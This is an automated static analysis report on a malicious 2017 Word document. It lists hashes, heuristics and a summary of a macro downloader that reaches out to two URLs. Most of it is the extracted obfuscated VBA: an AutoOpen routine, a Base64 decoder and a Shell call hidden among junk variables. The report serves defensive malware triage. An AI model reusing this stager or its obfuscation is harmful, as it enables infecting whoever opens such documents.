Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48296c365402cc30…

MALICIOUS

Office (OLE)

186.5 KB Created: 2017-04-28 17:26:00 Authoring application: Microsoft Office Word First seen: 2017-05-03
MD5: 6fa8dcd6122e3b0b4834ca51a681b802 SHA-1: 527de50edbc55099ceb5b4f4ee83e6890cad7e5c SHA-256: 48296c365402cc3047a311c2ddb77d37cd9b809169fc70bbed1562348cbdd34b
312 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The critical heuristic 'OLE_VBA_BASE64_SHELL_COMMAND_STAGER' indicates that the VBA code decodes and executes a command, specifically referencing the URLs 'ocialclub.net/b7tb-e658-mdlfr/' and 'http://euagito.com.br'. This strongly suggests the macro's purpose is to download and execute a second-stage payload from these locations.

Heuristics 10

  • ClamAV: Doc.Downloader.Heuristic-6312759-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Heuristic-6312759-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Rwk69Izt = -1282604390
    x8wWTK = Shell(TXZOKCjy(Ei1BmJ2x), oF8l6pI)
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    o7rgPdpj = 4229.8306985283
    Set Catx3P1q = CreateObject("msxml2.domdocument")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    o7rgPdpj = 4229.8306985283
    Set Catx3P1q = CreateObject("msxml2.domdocument")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://euagito.com.br Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44968 bytes
SHA-256: 8fcdc4f2ff55ee161c13412badc3c4787e7616d4ef1087cfa577d461d2b47865
Detection
ClamAV: No threats found
Obfuscation or payload: likely
482 of 932 identifiers look randomly generated (e.g. 'b2NpYWxjbHViLm5ldC9iN3RiLWU2NTgtbWRsZnIv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim nEo4RbYU As Boolean
nEo4RbYU = True
Dim D1HcYOjRr As Long
D1HcYOjRr = 0
Dim FujSzP As Double
FujSzP = 33127.407840889
Dim r4tLzeOQ0 As Double
r4tLzeOQ0 = Val(20515.409575231)
Dim PbZJo As Integer
PbZJo = Sgn(-29662)
Dim BBcXb As String
BBcXb = LCase(blMzmJtRw)
Dim BJuq0o8B
BJuq0o8B = RTrim(yJT05)
Dim cqeiFYG9D As Integer
cqeiFYG9D = Sgn(19357)
Dim hs9P7a As Integer
hs9P7a = -30653
Dim qTWmUCa As Byte
qTWmUCa = 240
Dim vEnP5l As Integer
vEnP5l = Sgn(-23462)
Dim qtreo As Integer
qtreo = Sgn(16488)
mWiRNlQ
End Sub

Attribute VB_Name = "Module2"
Function TXZOKCjy(ByVal BUvaiL)

Dim F5vgIjkB1 As Byte
F5vgIjkB1 = 99
Dim CLIRJnf As Double
CLIRJnf = Int(20157.257681884)
Dim MHfb4shx As Single
MHfb4shx = Round(36741.818302175)
Dim KLkh8ygIc As Byte
KLkh8ygIc = 211
Dim DzBGE As Integer
DzBGE = Sgn(11147)
Dim sTXr57 As Long
sTXr57 = -871947414
Dim BYwRIK As Long
BYwRIK = -60928920
Dim L5VE7f41 As Double
L5VE7f41 = 169.44003079657
Dim aEo5VDm As Boolean
aEo5VDm = True
Dim rOdwVr As Boolean
rOdwVr = True
Dim nhszUlXK7
nhszUlXK7 = vbNullString
Dim kdmXAo8Vv As Integer
kdmXAo8Vv = -23238
Dim ShKUyc As Byte
ShKUyc = 151
Dim uDtHx As Long
uDtHx = Sgn(-900822584)
Dim ejHOF As Integer
ejHOF = Sgn(4270)
Dim Catx3P1q
Dim Bo7z3H

Dim d7Bmet As Double
d7Bmet = 10070.808075348
Dim SlrKo9H As Single
SlrKo9H = Sgn(33388.406215277)
Dim UxH9PQ As Byte
UxH9PQ = 234
Dim slNji As Integer
slNji = Sgn(-32226)
Dim FxkWjLdnH As Integer
FxkWjLdnH = Sgn(11339)
Dim gzZUbim As Boolean
gzZUbim = False
Dim qKd1PQlqc As Boolean
qKd1PQlqc = True
Dim RktoVJh As Boolean
RktoVJh = False
Dim xTcZr As Integer
xTcZr = Sgn(20747)
Dim VUmo2Ig3 As Byte
VUmo2Ig3 = 93
Dim Khc1m
Khc1m = Len(W64Bmliy)
Dim aWYxkqbto As Integer
aWYxkqbto = 26828
Dim eOkGhI As Double
eOkGhI = Sgn(10428.075491201)
Dim BA541HESL
BA541HESL = LTrim(LcWIBq)
Dim t0ZUuoCSh As Boolean
t0ZUuoCSh = True
Dim wRqvj43Mt As Double
wRqvj43Mt = Sgn(41985.211122815)
Dim As8Areq
As8Areq = AscB("s")
Dim Y9aOCK As Integer
Y9aOCK = -27062
Dim nszN4uU As Double
nszN4uU = Sgn(26934.186500754)
Dim doEz8k4 As String
doEz8k4 = AscB("n")
Dim h9bK4F12 As Integer
h9bK4F12 = 17755
Dim dwkWla As Long
dwkWla = Sgn(0)
Dim o7rgPdpj As Single
o7rgPdpj = 4229.8306985283
Set Catx3P1q = CreateObject("msxml2.domdocument")

Dim KW4XUso As Single
KW4XUso = 65100.303832855
Dim Ln4wjS As Integer
Ln4wjS = Sgn(-29556)
Dim aLucCKONe As Byte
aLucCKONe = 225
Dim RJxATFob As Boolean
RJxATFob = True
Dim M7tz3Po As Byte
M7tz3Po = 3
Dim hRB76Fv9H As Boolean
hRB76Fv9H = False
Dim Q6GiT7C As Byte
Q6GiT7C = 93
Dim U48EIt As Long
U48EIt = 0
Dim wHAS53QGU As Boolean
wHAS53QGU = False
Dim IiGsQKpf As Single
IiGsQKpf = 28544.913339832
Dim m93E4 As Integer
m93E4 = -19047
Dim hzSOpt As Single
hzSOpt = Round(40320.245241729)
Set Bo7z3H = Catx3P1q.CreateElement("base64")
Dim rB7Iujy0k As Double
rB7Iujy0k = Round(28391.739311859)
Dim K9ULly1vT As Long
K9ULly1vT = -883971442
Dim iSTnP As Single
iSTnP = Val(646.96644863262)
Dim W61wjH97u As String
W61wjH97u = "z"
Dim r3L9z As Double
r3L9z = Sgn(18828.358093048)
Dim XFQ2a As Double
XFQ2a = 2581.1651062696
Dim dB4xtsdN As Double
dB4xtsdN = Sgn(47137.6423773)
Dim tIsDJQqXg As Integer
tIsDJQqXg = -18659
Dim doQ5HkL7 As Integer
doQ5HkL7 = Sgn(2567)
Dim FsN5hTd8W
FsN5hTd8W = UCase(kAgw1rLDf)
Dim YmG0V As Long
YmG0V = Sgn(0)
Dim k5YnIxc As Long
k5YnIxc = Sgn(-1979303272)
Bo7z3H.dataType = "bin.base64"

Dim ty1u2 As Long
ty1u2 = -1938991442
Dim GuNKzE As String
GuNKzE = "%"
Dim cTUd9Kt3O As Single
cTUd9Kt3O = 17418.885695834
Dim L9pD0B As String
L9pD0B = vbNullString
Dim V8ZDnROx As Integer
V8ZDnROx = Sgn(32744)
Dim uXLuYNd As Byte
uXLuYNd = 204
Dim MUMKfZe9 As Byte
MUMKfZe9 = 6
Dim mBzkCOHNs As Long
mBzkCOHNs = 0
Dim PsI3MZx As Boolean
PsI3MZx = True
Dim nBf0jJ As Boolean
nBf0jJ = False
Bo7z3H.text = BUvaiL
Dim Tqp4uVd As Double
Tqp4uVd = Sgn(44126.739660782)
Dim aao6Rb As Boolean
aao6Rb = True
Dim f7pK1tq As Integer
f7pK1tq = Sgn(-18861)
Dim tSLDzJTi As Single
tSLDzJTi = Int(19745.736911498)
Dim mWbL2F
mWbL2F = UCase(IqYApkv)
Dim da9qohg
da9qohg = RTrim(fnayJ5)
Dim xk6aHK As Byte
xk6aHK = 156
Dim Tyj9IPv As Long
Tyj9IPv = Sgn(0)
Dim qDsNJ As Double
qDsNJ = Int(8723.9455032841)
Dim ZmisZREI As String
ZmisZREI = StrConv(OGrIby, vbUpperCase)
Dim fuKsgJ As Double
fuKsgJ = Sgn(55937.816745756)
Dim nNC3atMhR As Integer
nNC3atMhR = -25011
Dim piYnR As Boolean
piYnR = False
Dim fZCh4 As Single
fZCh4 = Round(13524.117688482)
Dim cErqTnaO As Boolean
cErqTnaO = False
Dim xlpVLW As Long
xlpVLW = -1952961564
TXZOKCjy = y3rNcSbP5(Bo7z3H.nodeTypedValue)
Dim BRGA9ga
BRGA9ga = LCase(rLwpG)
Dim hJsqY9wlT As Integer
hJsqY9wlT = Sgn(-5548)
Dim x0AiUN9 As Single
x0AiUN9 = Val(56988.045469378)
Dim oxX8pak As Double
oxX8pak = Sgn(16607.44364879)
Dim yxS4Y3X0p As Integer
yxS4Y3X0p = Sgn(3759)
Dim Cqst2ku As Integer
Cqst2ku = Sgn(-2366)
Dim FCfWHL As Double
FCfWHL = Sgn(47541.180298088)
Dim zXuZ9sEJG As Double
zXuZ9sEJG = Sgn(25548.897084799)
Dim dtRzO As Byte
dtRzO = 30
Dim TslkuZwAo As Integer
TslkuZwAo = 3351
Dim G8VbaKi As Double
G8VbaKi = 55733.442997157
Dim ClQYPByn As Long
ClQYPByn = Sgn(0)
Dim ZTSfRX2u As Long
ZTSfRX2u = Sgn(-1717912302)
Dim ynNVSIZM As Integer
ynNVSIZM = Sgn(25827)
Dim TlVTWouPK
TlVTWouPK = AscB("!")
Dim Cu4Fmv As Long
Cu4Fmv = Sgn(0)
Set Bo7z3H = Nothing
Set Catx3P1q = Nothing
End Function
Function y3rNcSbP5(Binary)

Dim UzBrZ As Byte
UzBrZ = 230
Dim FCtuq9MiJ As Long
FCtuq9MiJ = Sgn(0)
Dim l7OvZ5BK9
l7OvZ5BK9 = Val(xnwgN)
Dim yRQ4gwsI As Single
yRQ4gwsI = Val(24530.055578407)
Dim EsIxLp As String
EsIxLp = LCase(o4HgcN)
Dim v6PgWp2y As Single
v6PgWp2y = Int(56790.300281923)
Dim Zw0jK5x2 As Boolean
Zw0jK5x2 = True
Dim Wcb3K As Byte
Wcb3K = 53
Const WfQw8meC = 2
Const H3ulozpFZ = 1
Dim HlqK3Hu As Double
HlqK3Hu = Sgn(53769.840643103)
Dim vm2iXe As String
vm2iXe = Val(aHgdpEe)
Dim mDOpax As Boolean
mDOpax = True
Dim Cy2z79WK As Double
Cy2z79WK = Sgn(63964.163209815)
Dim QoRNLqcVP
QoRNLqcVP = StrConv(Tera3EG, vbProperCase)
Dim eCnKs As Boolean
eCnKs = False
Dim U5WMkUa
U5WMkUa = UCase(yGrSPigs)
Dim yhRyMkEr As Single
yhRyMkEr = 56172.947838367
Dim eeZIMN As Byte
eeZIMN = 45
Dim wDr8Q As Byte
wDr8Q = 235
Dim zbFNj As Byte
zbFNj = 65
Dim skP9u As Integer
skP9u = 28609
Dim djoJVI3 As Double
djoJVI3 = Sgn(63270.961183056)
Dim OTrWfp As Byte
OTrWfp = 64
Dim tS4gXrfw As Long
tS4gXrfw = -1585679510
Dim vXEOtPB
vXEOtPB = AscB("c")
Dim V0OanRZPj As Double
V0OanRZPj = 31127.504190403
Dim Od63W As Single
Od63W = Fix(29184.237616687)
Dim V8U3OxoY As Boolean
V8U3OxoY = True
Dim Bw6TM As Single
Bw6TM = 41187.417274868
Dim L9ZQwf2 As Long
L9ZQwf2 = Sgn(0)
Dim wRncvPt As Boolean
wRncvPt = False
Dim beGzo6H
Set beGzo6H = CreateObject("ADODB.Stream")

Dim BkOCf As Integer
BkOCf = -22561
Dim nA5lyd9Fu As Single
nA5lyd9Fu = 43473.551611942
Dim WInQKGt As Boolean
WInQKGt = False
Dim bvTfcP As Long
bvTfcP = -976326634
Dim Npch45E0g
Npch45E0g = AscB("R")
Dim zZ91B As Single
zZ91B = Round(30374.883848719)
Dim hn2RBw70G As Byte
hn2RBw70G = 25
Dim KCs3m As String
KCs3m = StrConv(rW7mMrnw, vbProperCase)
beGzo6H.Type = H3ulozpFZ

Dim sHb23G06L As Single
sHb23G06L = 30343.41216012
Dim UqM9lz
UqM9lz = LCase(xUmTPXMhc)
Dim ZEOyC0N As Long
ZEOyC0N = 0
Dim pkHCpUa As Double
pkHCpUa = 222.80439130301
Dim teKtmESV As Boolean
teKtmESV = True
Dim NrKl5SOQ As String
NrKl5SOQ = Len(xwu2ac3BJ)
Dim p1zUOSKv As Single
p1zUOSKv = Val(60312.87409883)
Dim o1ihf7 As Single
o1ihf7 = Sgn(6341.8791557438)
Dim Ufohl0u As Byte
Ufohl0u = 60
Dim zb9ST7soz As Boolean
zb9ST7soz = False
Dim OW95GqsBU As Long
OW95GqsBU = 0
beGzo6H.Open
beGzo6H.Write Binary

Dim SNHrPTe As Byte
SNHrPTe = 6
Dim Ki9IB As Long
Ki9IB = 0
Dim BPu1oFgtn As Boolean
BPu1oFgtn = True
Dim gz7XoGpP As Long
gz7XoGpP = 0
Dim kyTA2 As Integer
kyTA2 = 862
Dim e8wM1EXOn As Byte
e8wM1EXOn = 27
Dim VcAEJ As String
VcAEJ = Val("o")
Dim i40Qwshv1 As String
i40Qwshv1 = AscW("(")
Dim d9nafD As String
d9nafD = j6trG
Dim rye2mn5WM As Boolean
rye2mn5WM = False
beGzo6H.Position = 0
beGzo6H.Type = WfQw8meC
Dim x6hmxYP
x6hmxYP = Len(N0a3T)
Dim xXcagWD As Single
xXcagWD = Val(19840.213804967)
Dim uwUGT4W As Boolean
uwUGT4W = True
Dim LfWK1zk As Long
LfWK1zk = Sgn(-987684794)
Dim oqFWrL As Integer
oqFWrL = Sgn(15352)
Dim sIRsT As String
sIRsT = "R"
Dim iMRP4 As Boolean
iMRP4 = True
Dim wsjyGc As Boolean
wsjyGc = True
beGzo6H.CharSet = "us-ascii"

Dim ndHO4nj0k As Boolean
ndHO4nj0k = False
Dim tMWwf As Double
tMWwf = 61096.579263668
Dim sEwkN5Pu As Single
sEwkN5Pu = 17045.236510461
Dim nPyihbJa As String
nPyihbJa = ""
Dim ZvJ16UwPZ As Boolean
ZvJ16UwPZ = False
Dim hB3zTwX
hB3zTwX = "X"
Dim vrCqQ8
vrCqQ8 = AscW("*")
Dim c4OugT As Single
c4OugT = 54937.947331978
Dim i7kveZJcd As Single
i7kveZJcd = Val(44026.713260777)
Dim IUMb6s As Single
IUMb6s = Round(30363.161676194)
Dim aEuZDvyt As Integer
aEuZDvyt = -11699
y3rNcSbP5 = beGzo6H.ReadText
Set beGzo6H = Nothing
 
End Function
Public Function mWiRNlQ()
Dim bRAHb As String
bRAHb = Val(ko2Pv)
Dim vX2u3d As Long
vX2u3d = Sgn(0)
Dim mMbaH As Byte
mMbaH = 235
Dim eECRpN As Long
eECRpN = Sgn(-246449570)
Dim AhZ1jmE7K As Long
AhZ1jmE7K = Sgn(-661715446)
Dim p0dRUX As Integer
p0dRUX = 30779
Dim aRt1bdx As Integer
aRt1bdx = Sgn(-28597)
Dim hCYvRo7q As Single
hCYvRo7q = Sgn(38004.031498315)
Dim Vu41je As Double
Vu41je = Sgn(41269.497720194)
Dim tK9rH8 As String
Dim M4Ivs6C As Double
M4Ivs6C = Sgn(4865.9698127177)
Dim mlxR8Iq0Y
mlxR8Iq0Y = AscW("r")
Dim poXMJbYek As Double
poXMJbYek = 24089.071053925
Dim rGmeIU As Boolean
rGmeIU = False
Dim JDPLEQO As Integer
JDPLEQO = Sgn(10485)
Dim xuAFQl6dp As Single
xuAFQl6dp = 12051.529919618
Dim IZIr70zA As Integer
IZIr70zA = Sgn(-10590)
Dim WL0t9 As Single
WL0t9 = 49640.854065862
Dim ZYrBcHN As Byte
ZYrBcHN = 221
Dim UE5rkNG4 As Double
UE5rkNG4 = Val(7254.398673209)
Dim e6s570F As Byte
e6s570F = 67
Dim LuZxwbKBN As Double
LuZxwbKBN = 14414.647855825
Dim K9kXqLNuJ As Long
K9kXqLNuJ = Sgn(-638802922)
Dim LinuJWYX8 As Single
LinuJWYX8 = 52539.651159625
Dim dwxFBU5 As Double
dwxFBU5 = 14769.180999361
Dim SiA8atOEV As Double
SiA8atOEV = Fix(37784.522573757)
Dim VMe5In As Single
VMe5In = Sgn(6193.5897274418)
Dim l96OnTa As String
l96OnTa = UCase(k81WeDa)
Dim Ipr09nMs
Ipr09nMs = LTrim(dYs0faXN)
Dim AFMtqokYI As Byte
AFMtqokYI = 1
Dim hAQrLMws As String
hAQrLMws = Val(jwHh57)
Dim lqN6gQS As String
lqN6gQS = iSBKloMa
Dim LYOV6qT As Long
LYOV6qT = 0
Dim RZrXomP As Byte
RZrXomP = 49
Dim HKDELi As Byte
HKDELi = 89
Dim bo9w5 As Long
bo9w5 = -801099032
Dim t1KjOSovh As Boolean
t1KjOSovh = True
Dim T0h3ErXn6 As Long
T0h3ErXn6 = Sgn(0)
Dim oOWXk As Double
oOWXk = Fix(42638.911401402)
Dim zzAujWVdN As Integer
zzAujWVdN = -4709
Dim khyQwB As String
khyQwB = Len(B0DtRdLga)
Dim kGLB2ON As Double
kGLB2ON = 18230.1515981
Dim nIo9k As Integer
nIo9k = Sgn(-7729)
Dim jWgQPCp As Double
jWgQPCp = Round(32216.244107217)
Dim VVBksj As Long
VVBksj = 0
Dim gcCthTr As Single
gcCthTr = Int(46301.501060474)
Dim s0gYyjpB As Boolean
s0gYyjpB = False
Dim JVQRLUfXi As Single
JVQRLUfXi = Sgn(48829.029547838)
Dim gKW8pnH As Long
gKW8pnH = Sgn(-1536409724)
Dim HFt5J29p As Byte
HFt5J29p = 18
Dim dhdc3RO12 As Double
dhdc3RO12 = 58279.691261641
Dim SoZC8yPtu As Long
SoZC8yPtu = Sgn(-906220422)
Dim P2wbM
P2wbM = Val(f143C2x)
Dim M8Q9dc As Boolean
M8Q9dc = True
Dim arcDZ As Long
arcDZ = Sgn(-476174332)
Dim C2qNeHA As String
C2qNeHA = StrConv(nxUdIz, vbUpperCase)
Dim SVJbO As Byte
SVJbO = 15
Dim c9425aZ1 As Boolean
c9425aZ1 = False
Dim ws0A3Sl2 As Long
ws0A3Sl2 = Sgn(-971734776)
Dim EpA8FZKLd As Double
EpA8FZKLd = Sgn(63169.41512236)
Dim FMix3fD As Integer
FMix3fD = Sgn(7069)
Dim gvdpK As Single
gvdpK = Fix(60008.734413788)
Dim YqrWYOjeu As Boolean
YqrWYOjeu = True
Dim GbCAlvcJ As Boolean
GbCAlvcJ = True
Dim XUiSC As Boolean
XUiSC = True
Dim yEoyPSArB As Byte
yEoyPSArB = 70
Dim GeS19x As Byte
GeS19x = 253
Dim ZzDTt As Boolean
ZzDTt = False
Dim H0rmCa As Byte
H0rmCa = 232
Dim TqF2QSM9 As Double
TqF2QSM9 = Round(1544.6325851632)
Dim W2bl04 As Integer
W2bl04 = Sgn(21486)
Dim FBN7G0W As Boolean
FBN7G0W = True
Dim YDzQGt As Single
YDzQGt = Round(31542.739168132)
Dim n8LcWS As Single
n8LcWS = 4364.2182694883
Dim C548b As Integer
C548b = Sgn(25574)

Dim vwmGOt7gH As Boolean
vwmGOt7gH = False
Dim m2K6twrOU As Integer
m2K6twrOU = Sgn(4413)
Dim Cdiw8VK5 As Boolean
Cdiw8VK5 = False
Dim eQJpPumB As String
eQJpPumB = Asc("^")
Dim V7G9aN As Integer
V7G9aN = Sgn(23031)
Dim GsMgd As Single
GsMgd = Sgn(51241.350286845)
Dim tazMtKdj As String
tazMtKdj = Asc("N")
Dim s5ilb As Single
s5ilb = Sgn(20691.783780831)
Dim rPSTkMwD
rPSTkMwD = StrConv(Va8bY, vbLowerCase)
Dim hS96QvLH As Integer
hS96QvLH = Sgn(-32287)
Dim FJnMv2b As Integer
FJnMv2b = 20602
Dim SRCel7cvJ As Double
SRCel7cvJ = Val(63186.443610545)
Dim R6j4mKVao As Long
R6j4mKVao = Sgn(0)
Dim ZhjwFY1TP As Long
ZhjwFY1TP = Sgn(-285207182)
Dim KWxb8B2 As Integer
KWxb8B2 = Sgn(14287)
Dim igufHwZ0 As Boolean
igufHwZ0 = True
Dim ORqDdh As Double
ORqDdh = Val(29279.748552024)
Dim SGMiP As Boolean
SGMiP = False
xQrL06

Dim VCz0g As Double
VCz0g = 33332.658864945
Dim a8qMWCJ As Long
a8qMWCJ = Sgn(-1762420704)
Dim htkxub53 As Boolean
htkxub53 = True
Dim OLukbO As Long
OLukbO = Sgn(-135197690)
Dim Bkn4lsA As Byte
Bkn4lsA = 126
Dim kqsOAli
kqsOAli = GwbjGSOf
Dim j7LkzuDcM As Byte
j7LkzuDcM = 237
Dim JAL9nEio0 As Single
JAL9nEio0 = 21721.216617597
Dim b7oq1R As Long
b7oq1R = Sgn(-1015072716)
Dim YvzhKnU5
YvzhKnU5 = StrConv(hR8CSNlnE, vbUpperCase)
Dim iAmPcuUf9 As Integer
iAmPcuUf9 = Sgn(10341)
Dim jf7IZCU As Single
jf7IZCU = Sgn(21647.942007381)
Dim ITi2v5gM As Long
ITi2v5gM = -370091850
Dim EQOogI6n As Single
EQOogI6n = Sgn(31329.902993498)

Dim H3q2I As Byte
H3q2I = 221
Dim dy4Vo As Long
dy4Vo = -1189839932
Dim QmbC1Ew As Byte
QmbC1Ew = 161
Dim dsytpb7an As Double
dsytpb7an = Sgn(36187.920305914)
Dim T4A9HWYn3 As Integer
T4A9HWYn3 = Sgn(11287)
Dim XdNef As Single
XdNef = 62107.406396284
Dim Pdufxr As Boolean
Pdufxr = False
Dim FYWDZP5 As Long
FYWDZP5 = Sgn(0)
Dim imkNWc As Double
imkNWc = Sgn(60318.763352388)

Dim EQ4r9 As Boolean
EQ4r9 = False
Dim w8WgZf As Integer
w8WgZf = -32646
Dim RvUiqxPS As Double
RvUiqxPS = Val(6233.852419834)
Dim IDIeFr As Double
IDIeFr = 54998.637630702
Dim tN2T0Rl As Long
tN2T0Rl = 0
Dim dVK9jtL As Byte
dVK9jtL = 58
Dim hJmLDE As Double
hJmLDE = 9608.340143965
Dim FwRGBy As Double
FwRGBy = Sgn(65290.858700143)
Dim ID7cuI As Integer
ID7cuI = -2093
Dim jhCQS As Single
jhCQS = Val(15706.918394432)
Dim TrISG As Long
TrISG = 0
Dim Ne93yFMqK As String
Ne93yFMqK = LCase(UqJkV3s)
Dim PVfXSzj7 As Integer
PVfXSzj7 = Sgn(-17692)
Dim xbNsPorL As String
xbNsPorL = StrConv(NNsvnF1, vbProperCase)
Dim Rwk69Izt As Long
Rwk69Izt = -1282604390
x8wWTK = Shell(TXZOKCjy(Ei1BmJ2x), oF8l6pI)

Dim OVj1ibI As Boolean
OVj1ibI = False
Dim pW39MHo As Integer
pW39MHo = Sgn(18669)
Dim V071fvi As Long
V071fvi = Sgn(-1969542654)
Dim yez9wkU5D As String
yez9wkU5D = Len(t4erf)
Dim qowcy8V As Integer
qowcy8V = -25162
Dim Bm3DQAWxj As Integer
Bm3DQAWxj = -10697
Dim iV1eMD As Single
iV1eMD = Sgn(60402.434502246)
Dim f9TZtz1R6 As Double
f9TZtz1R6 = 32535.354816666

Dim mlsWMtUB As Long
mlsWMtUB = -340574852
Dim iNtcbmMp As Integer
iNtcbmMp = Sgn(-12007)
Dim BOF5G6Ed9 As Double
BOF5G6Ed9 = 24533.387436837
Dim kATB8MuXQ As Long
kATB8MuXQ = 0
Dim nrz9Mm As Long
nrz9Mm = 0
Dim Zi2q4 As String
Zi2q4 = Val(yu6a9HPFO)
Dim D9jcm As Long
D9jcm = Sgn(-783348098)
Dim Vmk5W
Vmk5W = BnZ3cr
Dim rc2Nxj As Long
rc2Nxj = 0
Dim hCtUm As Long
hCtUm = -1692744130
Dim NT3U9 As Boolean
NT3U9 = True

Dim LWUPFD As Byte
LWUPFD = 2
Dim d2D1G As Boolean
d2D1G = False
Dim ZgCMP9vR
ZgCMP9vR = LCase(SsdIM)
Dim Mfd1Nb5 As Long
Mfd1Nb5 = Sgn(-1174567684)
Dim tiAjSQcIe As Long
tiAjSQcIe = Sgn(0)
Dim RB3XOV0 As Boolean
RB3XOV0 = True
Dim R7mAg As Integer
R7mAg = 25785
Dim DloiL As Long
DloiL = Sgn(0)
Dim noueI As Byte
noueI = 137
Dim oV9D5 As Long
oV9D5 = 0
Dim gF1SsKGN As Single
gF1SsKGN = Sgn(37655.953761823)
Dim DVsYP6 As String
DVsYP6 = Len(glCK6wS2)
Dim SK4W1MT As Byte
SK4W1MT = 0

Dim TeVaxWwP As Boolean
TeVaxWwP = True
Dim SqhBnHS As Long
SqhBnHS = -255353460
Dim d2YKFaz As Boolean
d2YKFaz = False
Dim OvhcsPm4r As Boolean
OvhcsPm4r = False
Dim sxmsq As Double
sxmsq = Round(1246.1844943357)
Dim g7SJBYg
g7SJBYg = Len(B5xWOZ)
Dim jBAfxiJ As Long
jBAfxiJ = Sgn(-905030786)
Dim swxJA As Integer
swxJA = Sgn(7833)
Dim PohH2L As Single
PohH2L = Sgn(47472.994508065)
Dim F2CYHe As Single
F2CYHe = Sgn(22262.586331786)
Dim PUXw3m As String
PUXw3m = RTrim(Cx1Pca)
Dim cQkKpgm As Double
cQkKpgm = 64929.547827813
Dim C5OVjl As Byte
C5OVjl = 77
Dim REeAr As Single
REeAr = 32650.123484796
Dim XVCq5 As Long
XVCq5 = 0
Dim gvrTCyKUt
gvrTCyKUt = StrConv(PsGBqp3l6, vbLowerCase)
Dim XXbT12IzE As String
XXbT12IzE = LTrim(LjB7Z20d)
Dim AZlRbA As Integer
AZlRbA = Sgn(-20463)
Dim OjMF1S As Single
OjMF1S = 9453.6056844377
Dim jdJOSZ As Byte
jdJOSZ = 124
Dim p5KhZ0 As Boolean
p5KhZ0 = True
Dim ix7zyQ As Byte
ix7zyQ = 208
Dim CZqgc72 As Long
CZqgc72 = -314580512
Dim GVXoFAsc0
GVXoFAsc0 = Val("l")
Dim Ob4O5k As Integer
Ob4O5k = Sgn(-4922)
Dim G9g0Rh As Byte
G9g0Rh = 100
Dim r4dFy5R7 As Integer
r4dFy5R7 = 25178
Dim ZhiVJF68 As String
ZhiVJF68 = StrConv(tRBj94, vbProperCase)
Dim r5Z9pjUo As Long
r5Z9pjUo = Sgn(-1671006278)
Dim UFe3nYSjg As Byte
UFe3nYSjg = 132
Dim KRwCdGlau As Integer
KRwCdGlau = Sgn(18769)
Dim Jm4OA As Double
Jm4OA = Sgn(38935.760348432)
Dim jdD72qcLQ As Single
jdD72qcLQ = Round(54677.787018555)
Dim fuIgX As Integer
fuIgX = Sgn(28742)
Dim nyVmfKA As Double
nyVmfKA = Sgn(44760.879354743)
Dim dclHAZgb As Single
dclHAZgb = Int(14736.133986856)
Dim Y586Y As Integer
Y586Y = -16035
Dim f3RVT7 As Double
f3RVT7 = 49192.646079629
Dim s8MEp0Ge As Byte
s8MEp0Ge = 145
Dim hZ3LlIjQ As Byte
hZ3LlIjQ = 193
Dim XCxyM As Double
XCxyM = Int(49384.670498508)
Dim rQzRrK5d As Single
rQzRrK5d = Sgn(15130.798690748)
Dim BlEJjUCm As Boolean
BlEJjUCm = True
Dim qmDXS As Long
qmDXS = Sgn(0)
Dim u9I6q As Integer
u9I6q = Sgn(13344)

Dim KJpKgZ7 As Long
KJpKgZ7 = 0
Dim bMwmuhkQS As String
bMwmuhkQS = StrConv(wPrNEcd, vbProperCase)
Dim nIL9Wzh As Boolean
nIL9Wzh = True
Dim vAIF76fji As Byte
vAIF76fji = 189
Dim Wmalrz As Boolean
Wmalrz = True
Dim vxVgU As Long
vxVgU = Sgn(-345703298)
Dim JtSuRYX6 As Integer
JtSuRYX6 = 13269
Dim dUeDzp50 As Byte
dUeDzp50 = 132
Dim w6ygh7wu As Single
w6ygh7wu = Sgn(47231.764082088)
Dim hqniudh As Boolean
hqniudh = False
Dim CIOjB As Integer
CIOjB = -12281
Dim BpnC2g1t As Integer
BpnC2g1t = Sgn(-15614)
Dim mapTzlU9j As Single
mapTzlU9j = Int(45807.199995802)

Dim E9ymX0 As Boolean
E9ymX0 = True
Dim a2l0c6BIM As Double
a2l0c6BIM = Round(30844.260946104)
Dim JdtqkC0Wx As String
JdtqkC0Wx = Val("M")
Dim rDlJtFm1B As Byte
rDlJtFm1B = 251
